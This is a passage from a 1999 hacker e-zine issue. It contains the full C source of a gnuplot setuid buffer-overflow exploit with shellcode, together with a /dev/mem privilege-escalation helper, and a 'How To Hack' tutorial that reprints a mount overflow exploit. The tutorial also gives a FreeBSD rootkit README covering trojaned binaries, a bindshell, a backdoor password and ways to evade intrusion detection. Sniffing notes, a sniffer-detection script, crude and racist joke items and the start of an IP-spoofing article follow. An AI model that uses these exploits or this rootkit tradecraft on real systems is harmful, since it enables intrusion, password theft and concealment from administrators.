beta 336/SuSE 5.2 gnuplot ships suidroot by default in SuSE 5.2, maybe others gcc -o xnec_plot xnec_plot.c ./xnec_plot <bufsiz> <offset> The buffer we're overflowing is only 80 bytes, so we're going to have to get our settings just so. If you don't feel like typing in command line offsets and bufsizes, make a little shell script: --- #! /bin/bash bufsiz=110 offset=0 while [ $offset -lt 500 ]; do ./xnec_plot $bufsiz $offset offset=`expr $offset + 10` done --- since gnuplot drops root privs after it inits your svga, we can't just exec /bin/sh, we'll need to use the technique of replacing our saved uid in /dev/mem with '0', then execing whatever we please. We do this by compiling Nergal's program, mem.c and putting the output file in /tmp/xp, as in gcc -o /tmp/xp mem.c. Nergal's program will then make /tmp/sh suidroot, so don't forget to cp /bin/sh /tmp/sh. You will also have to change line 32 to the correct address of kstat, which can be obtained by doing strings /proc/ksyms | grep kstat. Since I can see absolutely no reason for gnuplot to be suidroot, the best fix is chmod -s /usr/bin/gnuplot. greets to #sk1llz, xnec on EFnet and DALnet */ #include <stdlib.h> #define DEFAULT_OFFSET 50 #define DEFAULT_BUFSIZ 110 #define NOP 0x90 #define DEFAULT_ADDR 0xbffff81c /* Aleph One's shellcode, modified to run our own program */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/xp"; unsigned long getsp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buf, *ret; long *addrp, addr; int bufsiz, offset; int i; bufsiz=DEFAULT_BUFSIZ; offset=DEFAULT_OFFSET; if (argc = 2) bufsiz = atoi(argv[1]); if (argc = 3) offset = atoi(argv[2]); buf=malloc(bufsiz); addr = getsp() - offset; printf("address: 0x%x\n", addr); printf("bufsize: %d\n", bufsiz); printf("offset : %d\n", offset); ret = buf; addrp = (long *) ret; for (i = 0; i < bufsiz; i+=4) *(addrp++) = addr; memset(buf, NOP, (strlen(shellcode)/2)); ret = buf + ((bufsiz/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ret++) = shellcode[i]; buf[bufsiz - 1] = '\0'; memcpy(buf,"HOME=", 5); setenv("HOME", buf, 1); execvp("/usr/bin/gnuplot", NULL); } ---snip--- mem.c ---snip--- /* by Nergal */ #define SEEK_SET 0 #define __KERNEL__ #include <linux/sched.h> #undef __KERNEL__ #define SIZEOF sizeof(struct task_struct) int mem_fd; int mypid; void testtask (unsigned int mem_offset) { struct task_struct some_task; int uid, pid; lseek (mem_fd, mem_offset, SEEK_SET); read (mem_fd, &some_task, SIZEOF); if (some_task.pid == mypid) /* is it our task_struct ? */ { some_task.euid = 0; some_task.fsuid = 0; /* needed for chown */ lseek (mem_fd, mem_offset, SEEK_SET); write (mem_fd, &some_task, SIZEOF); /* from now on, there is no law beyond do what thou wilt */ chown ("/tmp/sh", 0, 0); chmod ("/tmp/sh", 04755); exit (0); } } #define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */ main () /* by doing strings /proc/ksyms |grep kstat */ { unsigned int i; struct task_struct *task[NR_TASKS]; unsigned int task_addr = KSTAT - NR_TASKS * 4; mem_fd = 3; /* presumed to be opened /dev/mem */ mypid = getpid (); lseek (mem_fd, task_addr, SEEK_SET); read (mem_fd, task, NR_TASKS * 4); for (i = 0; i < NR_TASKS; i++) if (task[i]) testtask ((unsigned int)(task[i])); } ---snip--- FIX: Since I see absolutely no good reason why gnuplot should be suidroot (who, besides root, is going to run it, anyway?), I would recommend a simple chmod -s /usr/bin/gnuplot. If you absolutely insist on suid, here's the patch: --- plot.c.old Fri Mar 5 03:17:59 1999 +++ plot.c Fri Mar 5 03:29:19 1999 @@ -516,7 +516,7 @@ char c='\0';/* character that should be added, or \0, if none */ if(tmp_home) { - strcpy(home,tmp_home); + strncpy(home,tmp_home,(sizeof(home) - 1)); if( strlen(home) ) p = &home[strlen(home)-1]; else p = home; #if defined(MSDOS) || defined(ATARI) || defined( OS2 ) || defined(_Windows) || defined(DOS386) However, this by no means was a comprehensive security audit of gnuplot, so there may very well be a dozen other problems I've not fixed. -xnec ################################################################## # xnec@inferno.tusculum.edu - xnec on IRC EF and DALnet # ################################################################## @HWA AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$$ ! ! $ $ ! *** IT HAS BEEN FOUR YEARS! *** FREE KEVIN MITNICK NOW!!!! ** ! $ $ ! ! $$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$ www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co m www.2600.com ########################################ww.2600.com www.freeke vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick. com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free kevin.com www.k# FREE KEVIN! #in.com www.kevinmitnic k.com www.2600.########################################om www.2600.com www.fre ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net * * www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV * * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ////////////////////////////////////////////////////////////////////////////// // To place an ad in this section simply type it up and email it to // // hwa@press,usmc.net, put AD! in the subject header please. - Ed // ////////////////////////////////////////////////////////////////////////////// @HWA HA.HA Humour and puzzles ...etc ~~~~~~~~~~~~~~~~~~~~~~~~~ It isn't by mere chance that "anal" is part of the word "analyst" - Anonymous (Ex?)Analyst "Its like my yo-yo, what made it special made it dangerous, so I buried it ..." - Kate Bush (Cloudbusting) Seen on Doonesbury (as reported by HNN and Innerpulse.com) script included below for completeness .... <:-p Dad - "I Can't understand how anyone could break into our server we just installed a new firewall!" Girl - "Its easy Pop, anybody can hack these days, even newbies can just pull kiddie scripts <sic> off the web and put an exploit into play within seconds Theres just no degree of difficulty anymore, half my computer class has hacked into the Strategic Air Command." Dad - "They WHAT!" Girl - "To collect old launch codes. Its no big deal." I still don't think Doonesbury is, was or ever will be, funny but to each their own... - Ed More humour from www.innerpulse.com; SNET Consumer Tip Hotline Contributed by siko Tuesday - March 23, 1999. 05:36PM GMT SNET Consumer Tip Hotline helps people with their everyday struggles. Innerpulse President, siko, provides the inf0z for the heads up in the scene. 1-800-999-8477 2351 Portable Computers. 2352 Avoiding Viruses. 2354 It's Broken! Innerpulse recommends 2352, Avoiding Viruses. It gives keen insight into the dark world of computer viruses created by shady criminals on the fringe of the web. AntiOnline Saga Continues Contributed by siko Tuesday - March 23, 1999. 04:33AM GMT Late last night, an expert panel of Innerpulse analysts reading through the new AntiOnline mail bag were able to make several key insights as to the organization and operation of AntiOnline. Dan Martin, who was obviously leaked some inside information from someone high up in the AntiOnline heirarchy, let the world know about the disasters over at AntiOnline. Not only is the lobby messy, but AntiOnline gets their news from what market experts are calling.. Innerpulse.com. "I used the investment money to support my cocaine habit", boasted JP just before he blasted Mexicans for being what he thinks as inferior to himself. Other sections of the Mail Bag included racist remarks aimed at Brazilians, Chinese, and Arabs (we can only assume he was knocking Arabs with the bombing cracks). "This is an outrage. How could he tear up so many different different people. And worst of all he forgot to tear up the Japanese.", said a respected member of the Internet community. Also, Innerpulse CEO, Marvin Speling, has decided to contact the resident Innerpulse Legal staff since it seems AntiOnline is what is legally termed as "Crampin my style". Innerpulse likes people of all race, creed, color, sex, age, and origin. Undernet patrons excluded. New Study Results: Only Idle on IRC Contributed by siko Sunday - March 21, 1999. 09:12PM GMT Innerpulse.com spent time on Efnet and Undernet and picked up a thing or two. Innerpulse has now learned that just because someone is idle for a week on IRC doesn't mean your news page should idle for a week, as Innerpulse Media Ltd. has concluded in a comprehensive study early this morning. "Sometimes I idle on IRC for 2, 3 days at a time. The idea of idling elsewhere on the Internet is new... ", commented an unknown Undernet IRC patron. "But I guess it could be kind of elite..". Among other areas explored by the small panel of hackers who tested internet waters for over a week as a supplement to Gateway's study included IRC relationships and an inside look at why hackers hack. Innerpulse head janitor, Bobo Jensen, commented on his IRC relationship and how it all fit in with his wildly successful life. Innerpulse Analyst, Mark Winters, speculated on the future of online relationships: "We all know bitches aint shit. What do you want me to say?" AOL's security compromised Contributed by blanco Sunday - March 21, 1999. 08:01PM UTC An 18-year-old high school dropout has been charged with computer tampering after hacking into the internal computers of America Online and altering some programs. The super k-rad hacker apparently exploited AOL's main server by "Punting" it, which apparently it's servers cannot handle. This AOL hacker did not return phone calls when Innerpulse contacted him for further information. AOL security expert Mark Winters made these comments, " It appears after we upgraded all of our servers to Windows98 last week that we didn't patch it to AOL standard. Fixing a punt attack like this one will cost us about $50,000. In reality that isn't too much, since we charge our customers $20.00 per m onth when they can barely use our service due to busy signals." USA today Flood Net has Local IRC'er's 'Shitting Bricks' Contributed by siko Tuesday - March 09, 1999. 09:17PM GMT It was a calm, placid seeming Tuesday afternoon on the Internet. Thats when what one channel member is calling 'an outbreak from hell' occured. "I looked away to see what was on TV, and next thing I know, they were filling our channel up. There were at least 20 of them", said one channel member. The hacker and his channel wish to remain nameless. "Next thing I know they were sending a msg to the channel saying 'owned!!!!!@@#$' all at the same time. It's a really creative idea, when you think about it.". What is known to expert IRC operators as a 'Flood Net', was at work flooding the hacker channel. Innerpulse IRC expert Mark Winters was contacted to help take some of the myth out of Flood Nets, to help the reader understand just how vicious these attacks can be. "Well, one of my fondest experiences was when I was talking to my bitch online, and all of a sudden a bunch of fuckers with the same nick with a different number appended to the end joined the channel and starting flooding. I had to do something quick.", says Winters, who has several other such experiences. "It wasn't for about.. say 3 months til I found a patch. It is to type '/msg '. This eliminates the possibility of outside interference.". The FloodNet that rocked this small Efnet IRC community earlier Tuesday afternoon has left. Analysts speculate that everything will be back to normal when the shock wears off. @HWA HOW.TO "How To Hack" March 1999 -> Part 2 (Step 5) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Intro from previous issue ~~~~~~~~~~~~~~~~~~~~~~~~~ This is not coincidentally next to the HA.HA section in the HWA.hax0r.news zine in fact the name itself is a piss-take on the "scene" (if you can't take the piss out of yourself you're taking things way to seriously and won't survive 2 weeks out here) but its a fact that anyone that puts out a zine like this has to deal with and thats the endless messages and questions from 'newbies' asking "HOW DO I HACK xxxx OS?" etc, well here's how you do it. I'll warn you up front that i'm not going to be gentle and will be fucking blunt with you, if you don't have the balls fuck off now you're dead meat and will be minced and made a laughing stock all over the net, if you think you can handle it then read on, this is an excersize that is best learned by doing but do it on your own machine if you try any of these things on someone elses box without any experience you will end up in jail. Step 5. ~~~~~~~ Breaking in. Actually this consists of scanning for weaknesses first before any real attempts are made at gaining entry. An adept admin or a savvy network operations centre (NOC) will have scanner alarms set up to identify possible threatening probes so this is another reason why u want to do this on a home machine, the purpose after all is to learn how to secure your own site by breaking into it as Dan Farmer pointed out in his paper, you have read that right? no? then read it now then continue here. Common insecurities ~~~~~~~~~~~~~~~~~~~ There are almost as many ways to compromise a system as there are programs that are available to run from shell. Almost every program ever written has some sort of weakness or fallibility the most common being the buffer overflow (read Smashing The Stack by Mudge) this works by "popping the stack" with alien code using a benign program such as sendmail to insert the code. Using sendmail has its obvious merits because it can be accessed from outside the system other entry points are rlogin, telnet, ftp, qpopper, among several others, your scanner will have identified open ports, some may surprise you, its amazing what people have running and often do not even realize for instance backdoors left over from previous attacks where the attacker is long gone and moved on to other systems. Back to our own system, i'll use BSD in this example, using and old copy of FreeBSD it was possible to gain root using a simple script and the mount union command, by using vi or simply echo data >> script it was possible (if you had a user account) to gain root priveledges in a matter of seconds regardless of your group or access level. <snip> to get a root shell as an unpriveledged user use: mkdir a mkdir b mount_union ~/a ~/b mount_union -b ~/a ~/b to get euid try this: export PATH=/tmp:$PATH echo /bin/sh >/tmp/modload chmod +x /tmp/modload mount_union /dir1 /dir2 <snip> This worked on BSD up to version 2.0 STABLE And here is an example of a mount exploit using the buffer overflow method; <snip> /* Mount Exploit for Linux/FreeBSD, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin 1996 */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } <snip> the above example requires that you have access to a compiler and that is not always the case in a restricted shell environment, to compile the above code copy it to mount.c and use gcc -o mountx mount.c then run ./mountx to initiate the compromise, you will be rewarded (in an unpatched system) with a root shell. Once you have root you want to keep it unless you are doing a hit and run or web server hack, for this you'll probably want to use what is known as a ROOTKIT. The rootkit is a package that contains various programs which have been patched (trojaned) to ensure that if your initial entry has been found you can regain access by one of the various methods included in the rootkit. Common trojaned programs include su (which will track all user logins by the super user (root user) and store or mail the logins and passwords to you either in a local file or email, it is safer to store the passwords in a local file which is hidden somewhere deep in the system than to email the password changes to an email account as you can be traced using the email method and it will show up in an IDS audit (IDS=Intrusion Detection Software) most large sites and secure sites will have some form of IDS running at regular intervals so you may have to reinstall or be creative in your deployment of the rootkit programs. create several copies of the programs on the system and use innocuous names such as ./safe_backup for your programs, a dumb sysadmin on a busy system may assume that these were left for root compromise eventualities by another sysadmin. Other trojaned files that are common in rootkits are obvious, telnet and ftp for instance, will also store or email logins and passwords. A good rootkit is available for most common unices and will usually also contain a sniffer program. Here is an example of the contents of a rootkit from a README for a freebsd rootkit available around the net (try Packetstorm) this was originally published in CRH (Confidence Remains High) an excellent HPA zine, look for it and read it,a very good source for info. <SNIP> Ok.. I found this rootkit out on an ftp site somewhere. Anyway, when I got it, there was a bunch of compile errors and it seemed to be for an older version of freebsd. So, I took a new source tree from my box and copied the trojan code from this rootkit into it.. So, this rootkit should work on FreeBSD 2.2.5-RELEASE. Ok.. I left out the following trojans and files: chpass Trojaned! User->r00t passwd Trojaned! User->r00t zapbsd2 An improved utmp/wtmp/lastlog type zapper tripwire Trojaned! Hide changes but I put in: marryv11.c good log cleaner.. i put a #define bsd in it Enjoy, humble - jmcdonal@unf.edu 1/15/98 Thanks to ducksquak, simpson and sygma for testing. The _____ ____ ____ ____ | ___| __ ___ ___| __ ) ___|| _ \ | |_ | '__/ _ \/ _ \ _ \___ \| | | | | _|| | | __/ __/ |_) |__) | |_| | |_| |_| \___|\___|____/____/|____/ rootkit 1.2 (1/27/97) by Method NOTE: This package was heavily influenced by the existing Linux rootkit, which in turn was adapted from the SunOS rootkit, etc., etc. UPDATES: 1.0.1 - Fixed some broken Makefile stuff. Made it so inetd does the right thing on a SIGHUP. Added some extra security to the shell trojans. 1.1 - Added tripwire trojan. Cleaned up some other stuff. 1.2 - Put a password on inetd (Thanks for the suggestion Whoot :) This package includes the following: chpass Trojaned! User->r00t inetd Trojaned! Remote access login Trojaned! Remote access ls Trojaned! Hide files du Trojaned! Hide files ifconfig Trojaned! Hide sniffing netstat Trojaned! Hide connections passwd Trojaned! User->r00t ps Trojaned! Hide processes rshd Trojaned! Remote access syslogd Trojaned! Hide logs fix File fixer! addlen File length fixer(!) zapbsd2 An improved utmp/wtmp/lastlog type zapper bindshell port/shell type daemon! tripwire Trojaned! Hide changes sniffit A kewl sniffz0r! INSTALLATION: To install this kit execute the command 'make all install' from the # prompt. All of the file/password configurations are in config.h so feel free to modify things to suit your particular fancy. Everything here has been tested on a FreeBSD-stable distribution. See the note at the end about what to do if the admin uses tripwire. Also make sure to read the Makefile and scripts so you know what's going on. USAGE: OK I will go through how to use each program one by one. NOTE when I say password I mean the rootkit password not your users password (d0h!). By default the rootkit password is "h0tb0x". chpass - Local user->root. Run ch{sh,fn,pass} then when it asks you for a new name enter your password. inetd - Binds a shell to a port for remote access. Adds a shell exec service on the ingreslock port, type in the rootkit password to start a shell. login - Allows login to any account with the rootkit password. If root login is refused on your terminal login as "r00t". History logging is disabled if you login using your password. ls - Trojaned to hide specified files and directories. The default data file is /dev/ptyr. All files can be listed with 'ls -/'. The format of /dev/ptyr is: ptyr fbsdrootkit-1.0 pr0n Use partial filenames. This would hide any files/directories with the names ptyr, fbsdrootkit-1.0 and pr0n. du - (see ls) ifconfig - Modified to remove PROMISC flag on the ethernet device. netstat - Modified to remove tcp/udp/sockets from or to specified addresses, paths and ports. default data file: /dev/ptyq command 1: hide local address command 2: hide remote address command 3: hide local port command 4: hide remote port command 5: hide UNIX socket path example: 1 128.31 <- Hides all local connections from 128.31.X.X 2 128.31.39.20 <- Hides all remote connections to 128.31.39.20 3 8000 <- Hides all local connections from port 8000 4 6667 <- Hides all remote connections to port 6667 5 .term/socket <- Hides all UNIX sockets including the path .term/socket passwd - Local user->root. Enter your rootkit password instead of your old password. ps - Modified to remove specified processes. Default data file is /dev/ptyp. An example data file is as follows: 0 0 Strips all processes running under root 1 p0 Strips tty p0 2 sniffer Strips all programs with the name sniffer Don't put in the comments, obviously. rshd - Execute remote commands as root. Usage: rsh -l rootkitpassword host command i.e. rsh -l h0tb0x 0wn3d.escape.com /bin/sh -i would start a root shell. syslogd - Modified to remove specified strings from logging. I thought of this one when I was on a system which logged every connection.. I kept getting pissed off with editing files every time I connected to remove my hostname. Then I thought 'Hey dude, why not trojan syslogd?!' and the rest is history. :) Default data file is /dev/ptys Example data file: evil.com 123.100.101.202 rshd This would remove all logs containing the strings evil.com, 123.100.101.202 and rshd. Smart! :)) sniffit - An advanced network sniffer. This is pretty kewl and has lots of filtering options and other stuff. Useful for targetting a single host or net. Sniffit uses ncurses. bindshell - This is pretty self-explanatory. Basically it binds a shell to a port, 31337 by default. Read the source on this one. fix - Replaces and fixes timestamp/checksum infomation on files. I modified this a bit for my own uses and to fix a nasty bug when replacing syslogd and inetd. The replacement file will be erased by fix (unlike other versions). addlen - This quickie modifies the length of files by adding harmless zeros to the end. Wonder why nobody ever thought of doing this before. Inspired by a stupid security tool which checks lengths of setuid files. zapbsd2 - This improved version of zapbsd writes over entries with ones instead of zeros. I added some capabilities and error checking so I raised the number. TRIPWIRE: I have done a major improvement of this part. Simply make tripwire and the script will ask you a few questions and take action depending on your responses. If both the database file and tripwire binary are read-only then there is nothing you can do. SOURCES: Some of these patches are derived from the original SunOS rootkit. ls, du, ps, netstat and chpass were done by yours truly. Anything else came from the Linux rootkit with a few modifications. The idea for tripwire was my own. OTHER: I welcome all comments and questions at method@yikes.com. All complaints and flames will be sent to /dev/null. Thanks to OGhost and Phelix for beta testing and advice. In closing, this kit can only take you so far. Although it covers almost everything, a competent sysadmin will eventually catch on. Remember, never let your guard down. -M <SNIP> Packet Sniffing ~~~~~~~~~~~~~~~ Read the papers 'things that go bump on the net' and others of that ilk for a good idea what can happen to a compromised system that has had a sniffer installed. You can sniff kerberos tickets and setup irc interception filters to gain access to oper passwords and 'leet channels among other things by using a sniffer on a well placed system somewhere on the backbone. Use traceroute to determine where a likely target is located and start your scan from there. Here is an excerpt from HiR #8 on packet sniffing, which gives a good outline of the sniffing concept and includes some code, taken directly from the Hackers Information Report site and included here for complete ness. Please check out their site for further great information and a good news letter archive. Main site: http://axon.jccc.net/hir/ This excerpt: http://axon.jccc.net/hir/articles/hir8/hir8-9.txt <snip> HiR 8 -]]])))}}}>>> Packet Sniffing Techniques For The Novice User <<<{{{((([[[- by Axon Ahh, the wonderful world of packet sniffing. You may or may not have done this before... "Sniffing" is the process of putting your computer's network card into what's called "promiscuous mode". It will read all packets that it sees (whereas normally it only reads the packets that have its address on it). After the card is placed in this mode, a sniffer will track packets (usually parsing the useful data out of the packet and writing it to a log file onto the hard disk). This is a really good way of doing a few things on a network: o Gathering traffic information, looking for lan stations that are abusing bandwidth. o Actually looking at the data inside the packets to see what files people are downloading with FTP, watching telnet sessions, and even watching their usernames and passwords. o Getting a general Idea of where most of the packets are coming from and going to, as a troubleshooting measure. There are sniffing programs for almost every platform. My favorite platform is linux, as it is already my Operating System of choice, and there are quite a few really easy to use sniffers for it. These include: tcpdump, sniffit, iptraf, and linsniffer. Those are what I use the most. My favorite floppy-linux distribution, Trinux, comes with sniffit, iptraf, and linsniffer. Almost every "big" linux distro (Red Hat, Debian, Caldera, etc) comes with tcpdump, although you might have to select a special option to have it installed automatically. Tcpdump is probably the hardest of the three to learn how to use. It mostly dumps raw tcp packets out to standard output (or wherever you redirect it to). It has other options, too, but overall, it's difficult to use for the beginner. I'll focus more on the other two. Linsniffer is quite possiby the most evil of the sniffers I've mentioned. All it does is get passwords. It looks for http passwords, telnet passwords, ftp passwords, and mail passwords. It does a pretty good job, but really lacks an "ethical" use. You can get linsniffer (or any of these sniffers) wherever you can find linux software (places like sunsite, which is now metalab.unc.edu). All you do is run "linsniffer" as root. It will not display any output. Everything it finds will be placed in a file called "tcp.log" in the directory you were in when you started linsniffer. Sniffit is extremely cute. It's harder to find passwords with it, but if your goal has nothing to do with you finding passwords, and more to do with watching who is connected to what, and maybe even watching the actual connection, this is for you. With Sniffit, I have many times been successful in watching the exact telnet screen of people that are on my segment. You can redirect the sniffed output to another virual console, and that console becomes the telnet screen of the person whom you are sniffing. You see what they type, what they get back, you watch them read their e-mail with pine, as if their ghost was sitting there using your screen. Iptraf isn't really a "sniffer" by industry terms, but it still uses promiscuous mode to operate, Therefore I call it a "sniffer". Iptraf will break down the traffic stream into chunks for you, so you can see exactly what kind of packets are being exchanged, how big they are, and where they are coming from and going to. This proghram is not good for looking at the actual data inside the packet, but it's great for finding out who is hogging the bandwidth, and what they're hogging it with. As far as snifgfing on other platforms... For Windows 95 and 98 There is also a plugin for the ever-famous back-orifice program that does sniffing, called "Butt Sniffer". There is also a non-plugin version that just runs in an MS-Dos window under Windows 95/98. This is probably the best Windows 9x sniffer I've seen, and it's worth looking into. It's available through www.cultdeadcow.com under the backorifice page somewhere. Shoutouts to the author, Mudge (who kicked ass at DefCon) =] ------------------------------------------------------------------------------ So, if it's so easy to just watch what's going on on the local network, there must be loads of people doing it, right? Well, the paranoid would say so, but in actuality, there isn't probably a whole lot of it going on. I'm not saying that there isn't ANY. So if there's even the possibility that it's there, how would one stay protected from the evils of sniffing? Well, the apostols (a spanish hacking group, if memory serves correctly) has a few really good products. (One being QueSO, a remote tcp/ip fingerprinter for detecting what OS is being run on a remote machine), but the one we focus on here is "NEtwork Promiscuous Ethernet Detector" (or "neped"). It only runs on UNIX/Linux (that I know of. It's not directly compileable on windows, but I'm not much of a programmer. It might be easy to do). I Wrote a small shell script that uses neped as a core to take action when promiscuous mode is detected. sniffdetect.sh is configureable and can run a shell script or a program once as soon as sniffing is detected, and will run another program or script as soon as it sees the sniffing has stopped. It can be used to stop services on your system, e-mail an administrator, page someone, or even to shut down the machine (although I don't know why you would want to do such a thing). I set it up to blast the IP and MAC address of the sniffing machine to my pager, and to tell me that sniffing has ceased when it stops detecting the runnuing sniffers (I wrote some paging software that sends out alpha pages to me from the command line to do this). In theory, It's very possible to make something that will launch a counter-attack/Denial of Service against the sniffing machine, but I'm not really a believer in that method. Here's my shell script. sniffdetect.sh: -------------begin------------------------------------------------------- #!/bin/sh ## Cheap-ass promiscuous mode watcher/action-taker ## Written by axon ## ## Requires "NEtwork Promiscuous Ethernet Detector" (neped.c) ## ftp://apostols.org/AposTools/snapshots/neped/neped.c ## ## This program must be run as root, or neped must be set-uid root. ## ######################################################################### ## ## Config Options! ## ###### # Command or shell script that's run when promisc. promisccmd="promisc.sh" # mode card is found. This might shut down a # service, or e-mail an administrator. Up to you. # (you must write a promisc.sh script or change # this variable) # Command or shell script that's run when nopromisccmd="nopromisc.sh" # promisc. mode ceases. This might page # an administrator or restart a service. # (you must write a nopromisc.sh script or # change this variable) while true do while true do # Counts number of lines neped=`neped eth0 | wc -l` # that are returned # by neped. if [ $neped -gt 8 ];then # This runs the command of your $promisccmd # choice when promisc. mode break # is detected neped eth0|grep "*>" >> promisc.log # appends output of neped to promisc.log fi done while true do # Counts number of lines neped=`neped eth0 | wc -l` # that are returned # by neped. if [ $neped = 8 ];then # This runs the command of your $nopromisccmd # choice when promisc. mode break # ceases fi done done ----------------end sniffdetect.sh------------------------------------------ I hope that this gives you the edge that you need. This was in no way a very elaborate "sniffing how-to". You can go anywhere to get that sort of information. This was focused more on how it works, and what tools are used to do it, and how to protect yourself from the world of packet sniffers. <snip> More info from various sources, to be continued next issue ... Cruciphux P.S "Hacking IRC" is still in progress and will also be continued in a further issue of the zine its not forgotten or dead by any means. - Ed @HWA SITE.1 Featured.site.http://www.real-secure.org/ Ezine excerpt: IP Spoofing ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I just stumbled acrosss this site while scanning the new affiliates list on HNN, its quite good, interesting layout, interesting information and a little different from the norm...well worth checking out here is a excerpt from their ezine on IP spoofing, since this ties in nicely with the "HOW.TO" section i've included the entire section on IP Spoofing from the zine for a taste of what to expect. Check out the site for more info. -=[ A short overview of IP spoofing: PART I ]=- -=[ Part of 'The Packet Project']=- (Includes Source for Linux 1.3.X and later kernels) All text and Source code written by Brecht Claerhout (Copyright 1996) All source tested on Linux kernel 2.0.X All packet data captured with Sniffit 0.3.2 (a pre-release at that time) ------------------------------------------------------------------------------- PART I: Simple spoofing (Non blind) ----------------------------------- 0. Introduction 0.1 What 0.2 For whom 0.3 Disclaimer 0.4 Licence 1. Short explanation of some words 2. Description of sourcecode 2.1 Source included 2.2 Programmer notes 3. TCP/IP (UDP) in an hazelnutshell 4. Non-blind spoofing 4.1 Know what you are doing 4.2 SYN flooding 4.3 Connection Killing 4.3.1 Using reset (RST) 4.3.2 Closing a connection (FIN) 4.3.3 Improving 4.4 Connection Hijacking 4.5 Other 5. The source code ------------------------------------------------------------------------------- PART I: Simple spoofing (Non blind) ------------------------------------------------------------------------------ 0. Introduction --------------- 0.1 What -------- This document describes some IP spoofing attacks and gives you example source code of the programs used for these attacks (and packet sniffer logs, so you see what exactly happens). It also provides you with an easy to use include file for experimenting a little yourself. Oh, if you make something nice with the "spoofit.h" file, please mail it to me (or a reference where it is available) with a little explanation on what it is (a few lines are enough)... If you have interesting remarks, comment, idea's, ... please contact me Brecht Claerhout <Coder@reptile.rug.ac.be> PoBox 144 